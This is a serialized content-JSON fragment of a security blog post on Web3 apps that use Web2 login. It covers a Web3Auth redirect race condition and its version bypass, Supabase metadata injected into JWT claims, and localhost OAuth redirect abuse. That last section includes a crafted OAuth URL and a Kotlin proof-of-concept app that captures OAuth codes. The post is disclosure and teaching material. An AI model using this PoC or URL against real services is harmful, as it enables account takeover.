",{"type":23,"tag":458,"props":69419,"children":69422},{"href":69420,"rel":69421},"https://github.com/pcaversaccio/safe-tx-hashes-util",[462],[69423],{"type":28,"value":69424},"validate Safe transaction hashes",{"type":28,"value":69426},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":18410,"props":69428,"children":69430},{"className":69429,"dataFootnotes":7},[18413],[69431,69436],{"type":23,"tag":446,"props":69432,"children":69434},{"className":69433,"id":15472},[18418],[69435],{"type":28,"value":18421},{"type":23,"tag":5436,"props":69437,"children":69438},{},[69439],{"type":23,"tag":421,"props":69440,"children":69441},{"id":30360},[69442,69444,69452,69454],{"type":28,"value":69443},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":458,"props":69445,"children":69449},{"href":69446,"rel":69447,":style":69448},"https://twitter.com/PierreArowana",[462],"color: #B1D0EE; text-decoration: underline;",[69450],{"type":28,"value":69451},"@PierreArowana",{"type":28,"value":69453}," for pointing this out to me. ",{"type":23,"tag":458,"props":69455,"children":69457},{"href":30388,"ariaLabel":18524,"className":69456,"dataFootnoteBackref":7},[18526],[69458],{"type":28,"value":18529},{"type":23,"tag":2843,"props":69460,"children":69461},{},[69462],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":69464},[69465,69469,69470,69471],{"id":67661,"depth":54,"text":67664,"children":69466},[69467,69468],{"id":67672,"depth":76,"text":67675},{"id":67951,"depth":76,"text":67954},{"id":68672,"depth":54,"text":68675},{"id":69404,"depth":54,"text":69407},{"id":15472,"depth":54,"text":18421},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":69476,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69477,"description":69478,"date":69479,"author":69480,"image":69481,"isFeatured":18,"onBlogPage":18,"tags":69483,"body":69484,"_type":2864,"_id":71181,"_source":2866,"_file":71182,"_stem":71183,"_extension":2869},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[31195,31194],{"src":69482},"/posts/web2-in-web3/title.jpg",[32135],{"type":20,"children":69485,"toc":71163},[69486,69491,69496,69501,69527,69533,69538,69544,69565,69571,69576,69583,69596,69626,69632,69676,69683,69689,69722,69743,69751,69770,69777,69782,69788,69793,69798,69823,69828,69834,69840,69861,69867,69894,69922,69929,69934,69939,70284,70288,70310,70316,70337,70351,70364,70369,70385,70390,71118,71123,71128,71133,71145,71149,71154,71159],{"type":23,"tag":24,"props":69487,"children":69488},{},[69489],{"type":28,"value":69490},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":69492,"children":69493},{},[69494],{"type":28,"value":69495},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":69497,"children":69498},{},[69499],{"type":28,"value":69500},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":5436,"props":69502,"children":69503},{},[69504,69509,69522],{"type":23,"tag":421,"props":69505,"children":69506},{},[69507],{"type":28,"value":69508},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":421,"props":69510,"children":69511},{},[69512,69514,69520],{"type":28,"value":69513},"Supabase ",{"type":23,"tag":37,"props":69515,"children":69517},{"className":69516},[],[69518],{"type":28,"value":69519},"user_metadata",{"type":28,"value":69521}," misconfiguration",{"type":23,"tag":421,"props":69523,"children":69524},{},[69525],{"type":28,"value":69526},"OAuth abuse in localhost development environment",{"type":23,"tag":446,"props":69528,"children":69530},{"id":69529},"abusing-oauth-authentication-logic",[69531],{"type":28,"value":69532},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":69534,"children":69535},{},[69536],{"type":28,"value":69537},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":546,"props":69539,"children":69541},{"id":69540},"web3auth-introduction",[69542],{"type":28,"value":69543},"Web3Auth Introduction",{"type":23,"tag":24,"props":69545,"children":69546},{},[69547,69554,69556,69563],{"type":23,"tag":458,"props":69548,"children":69551},{"href":69549,"rel":69550},"https://web3auth.io/",[462],[69552],{"type":28,"value":69553},"Web3Auth",{"type":28,"value":69555}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":458,"props":69557,"children":69560},{"href":69558,"rel":69559},"https://oauth.net/2/",[462],[69561],{"type":28,"value":69562},"OAuth2",{"type":28,"value":69564}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":546,"props":69566,"children":69568},{"id":69567},"web3auth-authentication-flow",[69569],{"type":28,"value":69570},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":69572,"children":69573},{},[69574],{"type":28,"value":69575},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":69577,"children":69578},{},[69579],{"type":23,"tag":3918,"props":69580,"children":69582},{"alt":50573,"src":69581},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":69584,"children":69585},{},[69586,69588,69594],{"type":28,"value":69587},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":37,"props":69589,"children":69591},{"className":69590},[],[69592],{"type":28,"value":69593},"client_id",{"type":28,"value":69595},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":69597,"children":69598},{},[69599,69601,69607,69609,69615,69617,69624],{"type":28,"value":69600},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":37,"props":69602,"children":69604},{"className":69603},[],[69605],{"type":28,"value":69606},"/start",{"type":28,"value":69608}," validates the ",{"type":23,"tag":37,"props":69610,"children":69612},{"className":69611},[],[69613],{"type":28,"value":69614},"redirect_url",{"type":28,"value":69616}," against the configured ",{"type":23,"tag":458,"props":69618,"children":69621},{"href":69619,"rel":69620},"https://web3auth.io/docs/dashboard-setup/whitelisting",[462],[69622],{"type":28,"value":69623},"whitelist",{"type":28,"value":69625}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":546,"props":69627,"children":69629},{"id":69628},"in-transit-cryptography",[69630],{"type":28,"value":69631},"In-transit Cryptography",{"type":23,"tag":24,"props":69633,"children":69634},{},[69635,69637,69644,69646,69652,69654,69660,69662,69667,69669,69674],{"type":28,"value":69636},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":458,"props":69638,"children":69641},{"href":69639,"rel":69640},"https://en.wikipedia.org/wiki/Key_(cryptography)",[462],[69642],{"type":28,"value":69643},"cryptographic key",{"type":28,"value":69645}," is derived from the ",{"type":23,"tag":37,"props":69647,"children":69649},{"className":69648},[],[69650],{"type":28,"value":69651},"sessionId",{"type":28,"value":69653},"  sent in the ",{"type":23,"tag":37,"props":69655,"children":69657},{"className":69656},[],[69658],{"type":28,"value":69659},"GET",{"type":28,"value":69661}," parameter to the ",{"type":23,"tag":37,"props":69663,"children":69665},{"className":69664},[],[69666],{"type":28,"value":69606},{"type":28,"value":69668},". Since the ",{"type":23,"tag":37,"props":69670,"children":69672},{"className":69671},[],[69673],{"type":28,"value":69651},{"type":28,"value":69675}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":69677,"children":69678},{},[69679],{"type":23,"tag":3918,"props":69680,"children":69682},{"alt":50573,"src":69681},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":546,"props":69684,"children":69686},{"id":69685},"race-condition",[69687],{"type":28,"value":69688},"Race Condition",{"type":23,"tag":24,"props":69690,"children":69691},{},[69692,69694,69699,69701,69707,69709,69714,69716,69721],{"type":28,"value":69693},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":37,"props":69695,"children":69697},{"className":69696},[],[69698],{"type":28,"value":69606},{"type":28,"value":69700}," and later used in the ",{"type":23,"tag":37,"props":69702,"children":69704},{"className":69703},[],[69705],{"type":28,"value":69706},"/end",{"type":28,"value":69708}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":37,"props":69710,"children":69712},{"className":69711},[],[69713],{"type":28,"value":69606},{"type":28,"value":69715},") but before  use (",{"type":23,"tag":37,"props":69717,"children":69719},{"className":69718},[],[69720],{"type":28,"value":69706},{"type":28,"value":20729},{"type":23,"tag":24,"props":69723,"children":69724},{},[69725,69727,69734,69736,69741],{"type":28,"value":69726},"To exploit this ",{"type":23,"tag":458,"props":69728,"children":69731},{"href":69729,"rel":69730},"https://portswigger.net/web-security/race-conditions",[462],[69732],{"type":28,"value":69733},"race condition",{"type":28,"value":69735},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":37,"props":69737,"children":69739},{"className":69738},[],[69740],{"type":28,"value":69651},{"type":28,"value":69742}," but with modified malicious parameters.",{"type":23,"tag":24,"props":69744,"children":69745},{},[69746],{"type":23,"tag":510,"props":69747,"children":69748},{},[69749],{"type":28,"value":69750},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":69752,"children":69753},{},[69754,69756,69762,69764,69769],{"type":28,"value":69755},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":37,"props":69757,"children":69759},{"className":69758},[],[69760],{"type":28,"value":69761},"redirect_uri",{"type":28,"value":69763}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":37,"props":69765,"children":69767},{"className":69766},[],[69768],{"type":28,"value":69593},{"type":28,"value":706},{"type":23,"tag":24,"props":69771,"children":69772},{},[69773],{"type":23,"tag":3918,"props":69774,"children":69776},{"alt":50573,"src":69775},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":69778,"children":69779},{},[69780],{"type":28,"value":69781},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":546,"props":69783,"children":69785},{"id":69784},"patch-bypass",[69786],{"type":28,"value":69787},"Patch & Bypass",{"type":23,"tag":24,"props":69789,"children":69790},{},[69791],{"type":28,"value":69792},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":69794,"children":69795},{},[69796],{"type":28,"value":69797},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":417,"props":69799,"children":69800},{},[69801,69812],{"type":23,"tag":421,"props":69802,"children":69803},{},[69804,69810],{"type":23,"tag":37,"props":69805,"children":69807},{"className":69806},[],[69808],{"type":28,"value":69809},"https://auth.web3auth.io/v8/start",{"type":28,"value":69811}," (latest version)",{"type":23,"tag":421,"props":69813,"children":69814},{},[69815,69821],{"type":23,"tag":37,"props":69816,"children":69818},{"className":69817},[],[69819],{"type":28,"value":69820},"https://auth.web3auth.io/v6/start",{"type":28,"value":69822}," (bypass)",{"type":23,"tag":24,"props":69824,"children":69825},{},[69826],{"type":28,"value":69827},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":446,"props":69829,"children":69831},{"id":69830},"supabase-metadata-manipulation",[69832],{"type":28,"value":69833},"Supabase metadata manipulation",{"type":23,"tag":546,"props":69835,"children":69837},{"id":69836},"supabase-authentication-flow",[69838],{"type":28,"value":69839},"Supabase Authentication flow",{"type":23,"tag":24,"props":69841,"children":69842},{},[69843,69850,69852,69859],{"type":23,"tag":458,"props":69844,"children":69847},{"href":69845,"rel":69846},"https://supabase.com/docs/guides/auth",[462],[69848],{"type":28,"value":69849},"Supabase",{"type":28,"value":69851}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":458,"props":69853,"children":69856},{"href":69854,"rel":69855},"https://jwt.io/",[462],[69857],{"type":28,"value":69858},"JWT",{"type":28,"value":69860}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":546,"props":69862,"children":69864},{"id":69863},"jwt-verification",[69865],{"type":28,"value":69866},"JWT verification",{"type":23,"tag":24,"props":69868,"children":69869},{},[69870,69872,69877,69878,69884,69886,69892],{"type":28,"value":69871},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":37,"props":69873,"children":69875},{"className":69874},[],[69876],{"type":28,"value":69519},{"type":28,"value":1361},{"type":23,"tag":37,"props":69879,"children":69881},{"className":69880},[],[69882],{"type":28,"value":69883},"identity_data",{"type":28,"value":69885},", in a signup request by manipulating the input inside the ",{"type":23,"tag":37,"props":69887,"children":69889},{"className":69888},[],[69890],{"type":28,"value":69891},"\"data\": {}",{"type":28,"value":69893}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":69895,"children":69896},{},[69897,69899,69905,69906,69912,69914,69920],{"type":28,"value":69898},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":37,"props":69900,"children":69902},{"className":69901},[],[69903],{"type":28,"value":69904},"\"role\": \"admin\"",{"type":28,"value":13129},{"type":23,"tag":37,"props":69907,"children":69909},{"className":69908},[],[69910],{"type":28,"value":69911},"\"email_verified\": true",{"type":28,"value":69913},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":37,"props":69915,"children":69917},{"className":69916},[],[69918],{"type":28,"value":69919},"\"test\": \"test\"",{"type":28,"value":69921},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":69923,"children":69924},{},[69925],{"type":23,"tag":3918,"props":69926,"children":69928},{"alt":50573,"src":69927},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":69930,"children":69931},{},[69932],{"type":28,"value":69933},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":69935,"children":69936},{},[69937],{"type":28,"value":69938},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":31,"props":69940,"children":69942},{"className":31357,"code":69941,"language":31359,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[69943],{"type":23,"tag":37,"props":69944,"children":69945},{"__ignoreMap":7},[69946,69971,69983,70052,70101,70149,70194,70217,70254,70270,70277],{"type":23,"tag":41,"props":69947,"children":69948},{"class":43,"line":44},[69949,69953,69958,69962,69967],{"type":23,"tag":41,"props":69950,"children":69951},{"style":64},[69952],{"type":28,"value":31371},{"type":23,"tag":41,"props":69954,"children":69955},{"style":114},[69956],{"type":28,"value":69957}," parseSupaBase",{"type":23,"tag":41,"props":69959,"children":69960},{"style":70},[69961],{"type":28,"value":1737},{"type":23,"tag":41,"props":69963,"children":69964},{"style":858},[69965],{"type":28,"value":69966},"token",{"type":23,"tag":41,"props":69968,"children":69969},{"style":70},[69970],{"type":28,"value":152},{"type":23,"tag":41,"props":69972,"children":69973},{"class":43,"line":54},[69974,69979],{"type":23,"tag":41,"props":69975,"children":69976},{"style":58},[69977],{"type":28,"value":69978},"    try",{"type":23,"tag":41,"props":69980,"children":69981},{"style":70},[69982],{"type":28,"value":102},{"type":23,"tag":41,"props":69984,"children":69985},{"class":43,"line":76},[69986,69990,69994,69999,70003,70008,70012,70017,70021,70025,70030,70034,70039,70043,70048],{"type":23,"tag":41,"props":69987,"children":69988},{"style":64},[69989],{"type":28,"value":32894},{"type":23,"tag":41,"props":69991,"children":69992},{"style":70},[69993],{"type":28,"value":23019},{"type":23,"tag":41,"props":69995,"children":69996},{"style":858},[69997],{"type":28,"value":69998},"header",{"type":23,"tag":41,"props":70000,"children":70001},{"style":70},[70002],{"type":28,"value":970},{"type":23,"tag":41,"props":70004,"children":70005},{"style":858},[70006],{"type":28,"value":70007},"payload",{"type":23,"tag":41,"props":70009,"children":70010},{"style":70},[70011],{"type":28,"value":970},{"type":23,"tag":41,"props":70013,"children":70014},{"style":858},[70015],{"type":28,"value":70016},"signature",{"type":23,"tag":41,"props":70018,"children":70019},{"style":70},[70020],{"type":28,"value":8659},{"type":23,"tag":41,"props":70022,"children":70023},{"style":170},[70024],{"type":28,"value":2381},{"type":23,"tag":41,"props":70026,"children":70027},{"style":858},[70028],{"type":28,"value":70029}," token",{"type":23,"tag":41,"props":70031,"children":70032},{"style":70},[70033],{"type":28,"value":706},{"type":23,"tag":41,"props":70035,"children":70036},{"style":114},[70037],{"type":28,"value":70038},"split",{"type":23,"tag":41,"props":70040,"children":70041},{"style":70},[70042],{"type":28,"value":1737},{"type":23,"tag":41,"props":70044,"children":70045},{"style":735},[70046],{"type":28,"value":70047},"'.'",{"type":23,"tag":41,"props":70049,"children":70050},{"style":70},[70051],{"type":28,"value":3825},{"type":23,"tag":41,"props":70053,"children":70054},{"class":43,"line":85},[70055,70059,70064,70068,70072,70076,70080,70084,70089,70093,70097],{"type":23,"tag":41,"props":70056,"children":70057},{"style":64},[70058],{"type":28,"value":32894},{"type":23,"tag":41,"props":70060,"children":70061},{"style":858},[70062],{"type":28,"value":70063}," decodedHeader",{"type":23,"tag":41,"props":70065,"children":70066},{"style":170},[70067],{"type":28,"value":3017},{"type":23,"tag":41,"props":70069,"children":70070},{"style":858},[70071],{"type":28,"value":37523},{"type":23,"tag":41,"props":70073,"children":70074},{"style":70},[70075],{"type":28,"value":706},{"type":23,"tag":41,"props":70077,"children":70078},{"style":114},[70079],{"type":28,"value":39204},{"type":23,"tag":41,"props":70081,"children":70082},{"style":70},[70083],{"type":28,"value":1737},{"type":23,"tag":41,"props":70085,"children":70086},{"style":114},[70087],{"type":28,"value":70088},"atob",{"type":23,"tag":41,"props":70090,"children":70091},{"style":70},[70092],{"type":28,"value":1737},{"type":23,"tag":41,"props":70094,"children":70095},{"style":858},[70096],{"type":28,"value":69998},{"type":23,"tag":41,"props":70098,"children":70099},{"style":70},[70100],{"type":28,"value":7222},{"type":23,"tag":41,"props":70102,"children":70103},{"class":43,"line":105},[70104,70108,70113,70117,70121,70125,70129,70133,70137,70141,70145],{"type":23,"tag":41,"props":70105,"children":70106},{"style":64},[70107],{"type":28,"value":32894},{"type":23,"tag":41,"props":70109,"children":70110},{"style":858},[70111],{"type":28,"value":70112}," decodedPayload",{"type":23,"tag":41,"props":70114,"children":70115},{"style":170},[70116],{"type":28,"value":3017},{"type":23,"tag":41,"props":70118,"children":70119},{"style":858},[70120],{"type":28,"value":37523},{"type":23,"tag":41,"props":70122,"children":70123},{"style":70},[70124],{"type":28,"value":706},{"type":23,"tag":41,"props":70126,"children":70127},{"style":114},[70128],{"type":28,"value":39204},{"type":23,"tag":41,"props":70130,"children":70131},{"style":70},[70132],{"type":28,"value":1737},{"type":23,"tag":41,"props":70134,"children":70135},{"style":114},[70136],{"type":28,"value":70088},{"type":23,"tag":41,"props":70138,"children":70139},{"style":70},[70140],{"type":28,"value":1737},{"type":23,"tag":41,"props":70142,"children":70143},{"style":858},[70144],{"type":28,"value":70007},{"type":23,"tag":41,"props":70146,"children":70147},{"style":70},[70148],{"type":28,"value":7222},{"type":23,"tag":41,"props":70150,"children":70151},{"class":43,"line":155},[70152,70156,70160,70165,70169,70173,70178,70182,70186,70190],{"type":23,"tag":41,"props":70153,"children":70154},{"style":58},[70155],{"type":28,"value":161},{"type":23,"tag":41,"props":70157,"children":70158},{"style":70},[70159],{"type":28,"value":9584},{"type":23,"tag":41,"props":70161,"children":70162},{"style":858},[70163],{"type":28,"value":70164},"header:",{"type":23,"tag":41,"props":70166,"children":70167},{"style":858},[70168],{"type":28,"value":70063},{"type":23,"tag":41,"props":70170,"children":70171},{"style":70},[70172],{"type":28,"value":970},{"type":23,"tag":41,"props":70174,"children":70175},{"style":858},[70176],{"type":28,"value":70177},"payload:",{"type":23,"tag":41,"props":70179,"children":70180},{"style":858},[70181],{"type":28,"value":70112},{"type":23,"tag":41,"props":70183,"children":70184},{"style":70},[70185],{"type":28,"value":970},{"type":23,"tag":41,"props":70187,"children":70188},{"style":858},[70189],{"type":28,"value":70016},{"type":23,"tag":41,"props":70191,"children":70192},{"style":70},[70193],{"type":28,"value":18287},{"type":23,"tag":41,"props":70195,"children":70196},{"class":43,"line":186},[70197,70201,70205,70209,70213],{"type":23,"tag":41,"props":70198,"children":70199},{"style":70},[70200],{"type":28,"value":15768},{"type":23,"tag":41,"props":70202,"children":70203},{"style":58},[70204],{"type":28,"value":48405},{"type":23,"tag":41,"props":70206,"children":70207},{"style":70},[70208],{"type":28,"value":142},{"type":23,"tag":41,"props":70210,"children":70211},{"style":858},[70212],{"type":28,"value":14855},{"type":23,"tag":41,"props":70214,"children":70215},{"style":70},[70216],{"type":28,"value":152},{"type":23,"tag":41,"props":70218,"children":70219},{"class":43,"line":195},[70220,70225,70229,70233,70237,70242,70246,70250],{"type":23,"tag":41,"props":70221,"children":70222},{"style":858},[70223],{"type":28,"value":70224},"        console",{"type":23,"tag":41,"props":70226,"children":70227},{"style":70},[70228],{"type":28,"value":706},{"type":23,"tag":41,"props":70230,"children":70231},{"style":114},[70232],{"type":28,"value":14855},{"type":23,"tag":41,"props":70234,"children":70235},{"style":70},[70236],{"type":28,"value":1737},{"type":23,"tag":41,"props":70238,"children":70239},{"style":735},[70240],{"type":28,"value":70241},"'Error parsing token:'",{"type":23,"tag":41,"props":70243,"children":70244},{"style":70},[70245],{"type":28,"value":970},{"type":23,"tag":41,"props":70247,"children":70248},{"style":858},[70249],{"type":28,"value":14855},{"type":23,"tag":41,"props":70251,"children":70252},{"style":70},[70253],{"type":28,"value":3825},{"type":23,"tag":41,"props":70255,"children":70256},{"class":43,"line":905},[70257,70261,70266],{"type":23,"tag":41,"props":70258,"children":70259},{"style":58},[70260],{"type":28,"value":161},{"type":23,"tag":41,"props":70262,"children":70263},{"style":64},[70264],{"type":28,"value":70265}," null",{"type":23,"tag":41,"props":70267,"children":70268},{"style":70},[70269],{"type":28,"value":183},{"type":23,"tag":41,"props":70271,"children":70272},{"class":43,"line":922},[70273],{"type":23,"tag":41,"props":70274,"children":70275},{"style":70},[70276],{"type":28,"value":192},{"type":23,"tag":41,"props":70278,"children":70279},{"class":43,"line":930},[70280],{"type":23,"tag":41,"props":70281,"children":70282},{"style":70},[70283],{"type":28,"value":201},{"type":23,"tag":546,"props":70285,"children":70286},{"id":40325},[70287],{"type":28,"value":40328},{"type":23,"tag":24,"props":70289,"children":70290},{},[70291,70293,70300,70302,70308],{"type":28,"value":70292},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":458,"props":70294,"children":70297},{"href":70295,"rel":70296},"https://supabase.com/docs/guides/database/postgres/row-level-security",[462],[70298],{"type":28,"value":70299},"Row-Level Security",{"type":28,"value":70301}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":37,"props":70303,"children":70305},{"className":70304},[],[70306],{"type":28,"value":70307},"app_metadata",{"type":28,"value":70309},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":446,"props":70311,"children":70313},{"id":70312},"oauth-in-development-environments",[70314],{"type":28,"value":70315},"OAuth in development environments",{"type":23,"tag":24,"props":70317,"children":70318},{},[70319,70321,70328,70330,70335],{"type":28,"value":70320},"After watching a ",{"type":23,"tag":458,"props":70322,"children":70325},{"href":70323,"rel":70324},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[462],[70326],{"type":28,"value":70327},"talk",{"type":28,"value":70329}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":37,"props":70331,"children":70333},{"className":70332},[],[70334],{"type":28,"value":69761},{"type":28,"value":70336}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":70338,"children":70339},{},[70340,70342,70349],{"type":28,"value":70341},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":458,"props":70343,"children":70346},{"href":70344,"rel":70345},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[462],[70347],{"type":28,"value":70348},"Remote Code Execution",{"type":28,"value":70350}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":70352,"children":70353},{},[70354,70356,70362],{"type":28,"value":70355},"In one of our client's implementations, we identified that ",{"type":23,"tag":37,"props":70357,"children":70359},{"className":70358},[],[70360],{"type":28,"value":70361},"localhost:3000",{"type":28,"value":70363}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":70365,"children":70366},{},[70367],{"type":28,"value":70368},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":31,"props":70370,"children":70374},{"className":70371,"code":70372,"language":70373,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[70375],{"type":23,"tag":37,"props":70376,"children":70377},{"__ignoreMap":7},[70378],{"type":23,"tag":41,"props":70379,"children":70380},{"class":43,"line":44},[70381],{"type":23,"tag":41,"props":70382,"children":70383},{},[70384],{"type":28,"value":70372},{"type":23,"tag":24,"props":70386,"children":70387},{},[70388],{"type":28,"value":70389},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":31,"props":70391,"children":70395},{"className":70392,"code":70393,"language":70394,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[70396],{"type":23,"tag":37,"props":70397,"children":70398},{"__ignoreMap":7},[70399,70425,70432,70464,70486,70493,70501,70523,70535,70547,70582,70608,70658,70665,70672,70679,70687,70709,70744,70757,70764,70771,70792,70818,70830,70851,70868,70880,70906,70945,70966,70974,70986,71011,71023,71036,71044,71051,71059,71067,71074,71104,71111],{"type":23,"tag":41,"props":70400,"children":70401},{"class":43,"line":44},[70402,70406,70411,70416,70421],{"type":23,"tag":41,"props":70403,"children":70404},{"style":64},[70405],{"type":28,"value":781},{"type":23,"tag":41,"props":70407,"children":70408},{"style":94},[70409],{"type":28,"value":70410}," MainActivity",{"type":23,"tag":41,"props":70412,"children":70413},{"style":70},[70414],{"type":28,"value":70415}," : 